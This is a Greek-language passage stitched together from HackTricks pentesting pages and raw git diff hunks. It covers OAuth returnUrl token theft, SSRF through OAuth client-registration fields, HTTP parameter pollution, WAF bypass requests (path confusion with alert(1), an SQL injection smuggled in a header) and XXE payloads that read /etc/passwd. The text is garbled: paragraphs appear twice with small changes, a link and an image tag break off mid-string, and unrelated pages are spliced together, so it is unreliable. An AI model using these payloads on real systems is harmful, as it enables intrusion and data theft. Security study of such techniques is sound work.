Σύμφωνα με [**αυτό το άρθρο**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνει ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που οδηγεί στον υπολογιστή του επιτιθέμενου. Αυτές οι πληροφορίες θα **αποθηκευτούν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ζητήσει** από τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον υπολογιστή του επιτιθέμενου.
Για να παρακάμψετε αυτό το παράθυρο επιβεβαίωσης, ήταν δυνατό να ανοίξετε ένα καρτελάκι για να ξεκινήσετε την **ροή OAuth** που θα ορίσει αυτό το RU cookie χρησιμοποιώντας το **returnUrl**, να κλείσετε το καρτελάκι πριν εμφανιστεί το παράθυρο επιβεβαίωσης, και να ανοίξετε ένα νέο καρτελάκι χωρίς αυτή την τιμή. Έτσι, το **παράθυρο επιβεβαίωσης δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα οριστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** στην ανακατεύθυνση.
Για να παρακάμψετε αυτό το prompt, ήταν δυνατό να ανοίξετε ένα καρτελάκι για να ξεκινήσετε τη **ροή OAuth** που θα ορίσει αυτό το RU cookie χρησιμοποιώντας το **returnUrl**, να κλείσετε το καρτελάκι πριν εμφανιστεί το prompt, και να ανοίξετε ένα νέο καρτελάκι χωρίς αυτήν την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον υπολογιστή του επιτιθέμενου**, αλλά το cookie θα οριστεί σε αυτόν, έτσι το **token θα σταλεί στον υπολογιστή του επιτιθέμενου** στην ανακατεύθυνση.
### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a>
**[Ελέγξτε αυτή την έρευνα](https://portswigger.net/research/hidden-oauth-attack-vectors) για περισσότερες λεπτομέρειες σχετικά με αυτήν την τεχνική.**
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως ένας λιγότερο προφανής αλλά κρίσιμος διάνυσμα για ευπάθειες ασφάλειας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το σημείο επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων διευθύνσεων URL που θα μπορούσαν να εκμεταλλευτούνται.
**Κύρια Σημεία:**
- Η **Δυναμική Εγγραφή Πελάτη** συνήθως αντιστοιχίζεται στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και διευθύνσεις URL για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτήσεων POST.
- Αυτό το χαρακτηριστικό συμμορφώνεται με τις προδιαγραφές που ορίζονται στα **RFC7591** και **OpenID Connect Registration 1.0**, τα οποία περιλαμβάνουν παραμέτρους που είναι ευάλωτες στο SSRF.
- Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους:
- **`logo_uri`**: Μια διεύθυνση URL για το λογότυπο της εφαρμογής πελάτη που ενδέχεται να ανακτηθεί από τον διακομιστή, ενεργοποιώντας το SSRF ή οδηγώντας σε XSS αν η διεύθυνση URL δεν χειρίζεται σωστά.
- **`jwks_uri`**: Μια διεύθυνση URL για το έγγραφο JWK του πελάτη, το οποίο αν διαμορφωθεί με κακόβουλο τρόπο, μπορεί να οδηγήσει τον διακομιστή να κάνει εξερχόμενες αιτήσεις σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο.
- **`sector_identifier_uri`**: Αναφέρει ένα JSON πίνακα με `redirect_uris`, τον οποίο ο διακομιστής ενδέχεται να ανακτήσει, δημιουργώντας μια ευκαιρία για SSRF.
- **`request_uris`**: Καταχωρεί επιτρεπόμενες διευθύνσεις URI αιτήσεων για τον πελάτη, οι οποίες μπορούν να εκμεταλλευτούνται αν ο διακομιστής ανακτά αυτές τις διευθύνσεις URI στην έναρξη της διαδικασίας εξουσιοδότησης.
**Στρατηγική Εκμετάλλευσης:**
- Το SSRF μπορεί να ενεργοποιηθεί με την εγγραφή ενός νέου πελάτη με κακόβουλες διευθύνσεις URL σε παραμέτρους όπως `logo_uri`, `jwks_uri`, ή `sector_identifier_uri`.
- Ενώ η άμεση εκμετάλλευση μέσω του `request_uris` μπορεί να αντιμετωπιστεί με ελέγχους λευκής λίστας, η παροχή ενός προ-εγγεγραμμένου, ελεγχόμενου από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,48 +14,48 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Επισκόπηση Ρύπανσης Παραμέτρων HTTP (HPP)
Η Ρύπανση Παραμέτρων HTTP (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι διαχειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας ιστοσελίδας με μη επιθυμητούς τρόπους. Αυτή η διαχείριση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας τις παραμέτρους HTTP. Τα αποτελέσματα αυτών των διαχειρίσεων δεν είναι απευθείας ορατά στον χρήστη, αλλά μπορεί να αλλάξουν σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
Η Ρύπανση Παραμέτρων HTTP (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι διαμορφώνουν τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας εφαρμογής web με μη επιθυμητους τρόπους. Αυτή η διαμόρφωση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας τις παραμέτρους HTTP. Τα αποτελέσματα αυτών των διαμορφώσεων δεν είναι απευθείας ορατά στον χρήστη αλλά μπορεί να αλλάξουν σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
## Παράδειγμα Ρύπανσης Παραμέτρων HTTP (HPP)
Ένα URL συναλλαγών εφαρμογής τραπεζικών συναλλαγών:
Ένα URL συναλλαγών μιας τράπεζας:
- **Αρχικό URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Με την εισαγωγή ενός επιπλέον παραμέτρου `from`:
Με την προσθήκη μιας επιπλέον παραμέτρου `from`:
- **Ρυπασμένο URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **Διαμορφωμένο URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
Η συναλλαγή μπορεί να χρεωθεί εσφαλμένα στον λογαριασμό `accountC` αντί για τον `accountA`, επιδεικνύοντας τη δυνατότητα της HPP να χειριστεί συναλλαγές ή άλλες λειτουργίες όπως επαναφορές κωδικών, ρυθμίσεις 2FA ή αιτήσεις κλειδιών API.
Η συναλλαγή μπορεί να χρεωθεί εσφαλμένα στον λογαριασμό `accountC` αντί για τον `accountA`, επιδεικνύοντας τη δυνατότητα της HPP να διαμορφώνει συναλλαγές ή άλλες λειτουργίες όπως επαναφορές κωδικών, ρυθμίσεις 2FA ή αιτήσεις κλειδιών API.
### **Ανάλυση Παραμέτρων Που Εξαρτώνται από την Τεχνολογία**
### **Ανάλυση Παραμέτρων Ειδικής Τεχνολογίας**
- Ο τρόπος με τον οποίο εξετάζονται και δίνεται προτεραιότητα στις παράμετροι εξαρτάται από την υποκείμενη τεχνολογία του web, επηρεάζοντας τον τρόπο με τον οποίο μπορεί να εκμεταλλευτείται η HPP.
- Ο τρόπος με τον οποίο αναλύονται και δίνεται προτεραιότητα στις παράμετροι εξαρτάται από την υποκείμενη τεχνολογία web, επηρεάζοντας τον τρόπο με τον οποίο μπορεί να εκμεταλλευτεί η HPP.
- Εργαλεία όπως το [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) βοηθούν στην αναγνώριση αυτών των τεχνολογιών και των τρόπων ανάλυσής τους.
## Εκμετάλλευση PHP και HPP
**Περίπτωση Εκμετάλλευσης OTP:**
- **Πλαίσιο:** Μια μηχανισμός σύνδεσης που απαιτεί Ένα Μοναδικό Κωδικό (OTP) εκμεταλλεύτηκε.
- **Πλαίσιο:** Ένα μηχανισμός σύνδεσης που απαιτεί Ένα Μοναδικό Κωδικό Πρόσβασης (OTP) εκμεταλλεύτηκε.
- **Μέθοδος:** Με την παρέμβαση στο αίτημα OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP.
- **Αποτέλεσμα:** Ο OTP, που ήταν προορισμένος για το αρχικό email, αντίθετα στάλθηκε στη δεύτερη διεύθυνση email που καθορίστηκε στο ρυπασμένο αίτημα. Αυτή η αδυναμία επέτρεψε τη μη εξουσιοδοτημένη πρόσβαση με την παράκαμψη του προβλεπόμενου μέτρου ασφαλείας.
- **Αποτέλεσμα:** Ο OTP, που ήταν προορισμένος για το αρχικό email, αντίθετα στάλθηκε στη δεύτερη διεύθυνση email που καθορίστηκε στο διαμορφωμένο αίτημα. Αυτή η αδυναμία επέτρεψε τη μη εξουσιοδοτημένη πρόσβαση με την παράκαμψη του προβλεπόμενου μέτρου ασφαλείας.
Αυτό το σενάριο υπογραμμίζει ένα κρίσιμο παράλειμμα στον πίσω χώρο της εφαρμογής, η οποία επεξεργαζόταν την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποιούσε την τελευταία για την παράδοση.
Αυτό το σενάριο υπογραμμίζει ένα κρίσιμο παράλειμμα στο backend της εφαρμογής, το οποίο επεξεργαζόταν την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση.
**Περίπτωση Εκμετάλλευσης Κλειδιού API:**
- **Σενάριο:** Μια εφαρμογή επιτρέπει στους χρήστες να ενημερώνουν το κλειδί API τους μέσω μιας σελίδας ρυθμίσεων προφίλ.
- **Διανυσματική Επίθεση:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να εκμεταλλευτεί το αποτέλεσμα της λειτουργίας ενημέρωσης κλειδιού API.
- **Τεχνική:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το κλειδί API στην τιμή που παρέχει ο επιτιθέμενος.
- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο επί της λειτουργικότητας του κλειδιού API του θύματος, πιθανώς έχοντας πρόσβαση ή τροποποιώντας ιδιωτικά δεδομένα μη εξουσιοδοτημένα.
- **Διανυσματικός Επίθεσης:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να διαμορφώσει το αποτέλεσμα της λειτουργίας ενημέρωσης κλειδιού API.
- **Τεχνική:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το κλειδί API στην τιμή που παρέχεται από τον επιτιθέμενο.
- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο στη λειτουργικότητα του κλειδιού API του θύματος, πιθανώς έχοντας πρόσβαση ή τροποποιώντας ιδιωτικά δεδομένα μη εξουσιοδοτημένα.
Αυτό το παράδειγμα υπογραμμίζει ακόμη περισσότερο την ανάγκη για ασφαλή χειρισμό παραμέτρων, ειδικά σε χαρακτηριστικά τόσο κρίσιμα όσο η διαχείριση κλειδιών API.
@ -64,8 +64,10 @@
Ο τρόπος με τον οποίο οι τεχνολογίες web χειρίζονται διπλές παράμετρους HTTP διαφέρει, επηρεάζοντας την ευπάθειά τους στις επιθέσεις HPP:
- **Flask:** Προτιμά την τιμή της πρώτης παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, δίνοντας προτεραιότητα στην αρχική εμφάνιση έναντι των επόμενων διπλών.
- **PHP (σε Διακομιστή Apache HTTP):** Αντίθετα, δίνει προτεραιότητα στην τελευταία τιμή παραμέτρου, επιλέγοντας το `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις επιθέσεις HPP δίνοντας προτεραιότητα στη ρυπασμένη παράμετρο του επιτιθέμενου έναντι της αρχικής.
- **PHP (σε Διακομιστή Apache HTTP):** Αντίθετα, δίνει προτεραιότητα στην τελευταία τιμή παραμέτρου, επιλέγοντας το `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί απροσδόκητα να διευκολύνει τις επιθέσεις HPP δίνοντας προτεραιότητα στη διαμορφωμένη παράμετρο του επιτιθέμενου αντί της αρχικής.
## Αναφορές
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024

View file

@ -10,11 +10,11 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -87,8 +87,8 @@ deny all;
### Σύγχυση Διαδρομής
[**Σε αυτήν την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι την έκδοση 3.0.12), **υλοποίησε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία έπρεπε να περιέχει τη διαδρομή πρόσβασης (μέχρι την έναρξη των παραμέτρων). Αυτό συνέβη επειδή πραγματοποίησε αποκωδικοποίηση URL για να λάβει τη διαδρομή.\
Συνεπώς, μια αίτηση όπως `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατράπηκε σε `?` τελειώνοντας τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`.
[**Σε αυτήν την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι την έκδοση 3.0.12), **υλοποίησε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία έπρεπε να περιέχει τη διαδρομή πρόσβασης (μέχρι την έναρξη των παραμέτρων). Αυτό συνέβαινε επειδή πραγματοποιούσε αποκωδικοποίηση URL για να λάβει τη διαδρομή.\
Συνεπώς, μια αίτηση όπως `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` τελειώνοντας τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`.
Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το σφάλμα.
@ -98,7 +98,7 @@ deny all;
### Μη Έγκυρη Κεφαλίδα
[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονται στις κεφαλίδες HTTP αποστέλλοντας μια "μη έγκυρη" κεφαλίδα που δεν ερμηνεύτηκε σωστά από το AWS αλλά ναι από τον εξυπηρετητή backend.
[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονται στις κεφαλίδες HTTP αποστέλλοντας μια "μη έγκυρη" κεφαλίδα που δεν αναλύθηκε σωστά από το AWS αλλά αναλύθηκε από τον εξυπηρετητή backend.
Για παράδειγμα, αποστέλλοντας το ακόλουθο αίτημα με ένα SQL injection στην κεφαλίδα X-Query:
```http
@ -109,7 +109,7 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Ήταν δυνατόν να παρακάμψετε το AWS WAF επειδή δεν κατανόησε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας, ενώ ο διακομιστής NODEJS το κατανόησε (αυτό διορθώθηκε).
Ήταν δυνατόν να παρακάμψετε το AWS WAF επειδή δεν κατανόησε ότι η επόμενη γραμμή αποτελεί μέρος της τιμής της κεφαλίδας, ενώ ο διακομιστής NODEJS το κατανόησε (αυτό διορθώθηκε).
## Αναφορές
@ -117,20 +117,20 @@ Connection: close\r\n
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,30 +1,30 @@
# XXE - XEE - Εξωτερική Οντότητα XML
# XXE - XEE - XML Εξωτερική Οντότητα
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικά του XML
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για την αποθήκευση και μεταφορά δεδομένων, παρουσιάζοντας μια ευέλικτη δομή που επιτρέπει τη χρήση ετικετών με περιγραφικά ονόματα. Διαφέρει από το HTML διότι δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για την αποθήκευση και μεταφορά δεδομένων, παρουσιάζοντας μια ευέλικτη δομή που επιτρέπει τη χρήση ετικετών με περιγραφικά ονόματα. Διαφέρει από το HTML μην είναι περιορισμένο σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
* **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `&lt;` και `&gt;`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.
* **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς πρέπει να δομηθούν τα στοιχεία και ποιο περιεχόμενο μπορούν να περιέχουν, κυμαίνοντας από οποιοδήποτε είδος περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
* **Ορισμός Κανονισμού Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορεί να είναι εσωτερικά, εξωτερικά ή συνδυασμένα, καθοδηγώντας τον τρόπο μορφοποίησης και επικύρωσης των εγγράφων.
* **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς πρέπει να είναι δομημένα τα στοιχεία και ποιο περιεχόμενο μπορούν να περιέχουν, κυμαίνοντας από οποιοδήποτε είδος περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
* **Ορισμός Κανονισμού Τύπου Εγγράφου (DTD)**: Οι DTD είναι κρίσιμοι στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορεί να είναι εσωτερικοί, εξωτερικοί ή συνδυασμένοι, καθοδηγώντας τον τρόπο μορφοποίησης και επικύρωσης των εγγράφων.
* **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων μέσα σε ένα DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, οριζόμενες με ένα URL, προκαλούν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο των επιθέσεων Εξωτερικών Οντοτήτων XML (XXE), οι οποίες εκμεταλλεύονται τον τρόπο με τον οποίο οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή αιτήσεων HTTP σε έναν ελεγχόμενο τομέα, για την επιβεβαίωση της ευπάθειας.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
@ -45,6 +45,8 @@
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (867).png>)
### Διάβασμα αρχείου
Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διαφορετικούς τρόπους. Για τα Windows μπορείτε να δοκιμάσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts`
@ -57,7 +59,7 @@
```
![](<../.gitbook/assets/image (83).png>)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου εάν ο διακομιστής web χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων της Portswiggers)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου εάν ο web server χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων της Portswiggers)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -79,7 +81,7 @@
### Κατάλογος καταχώρισης
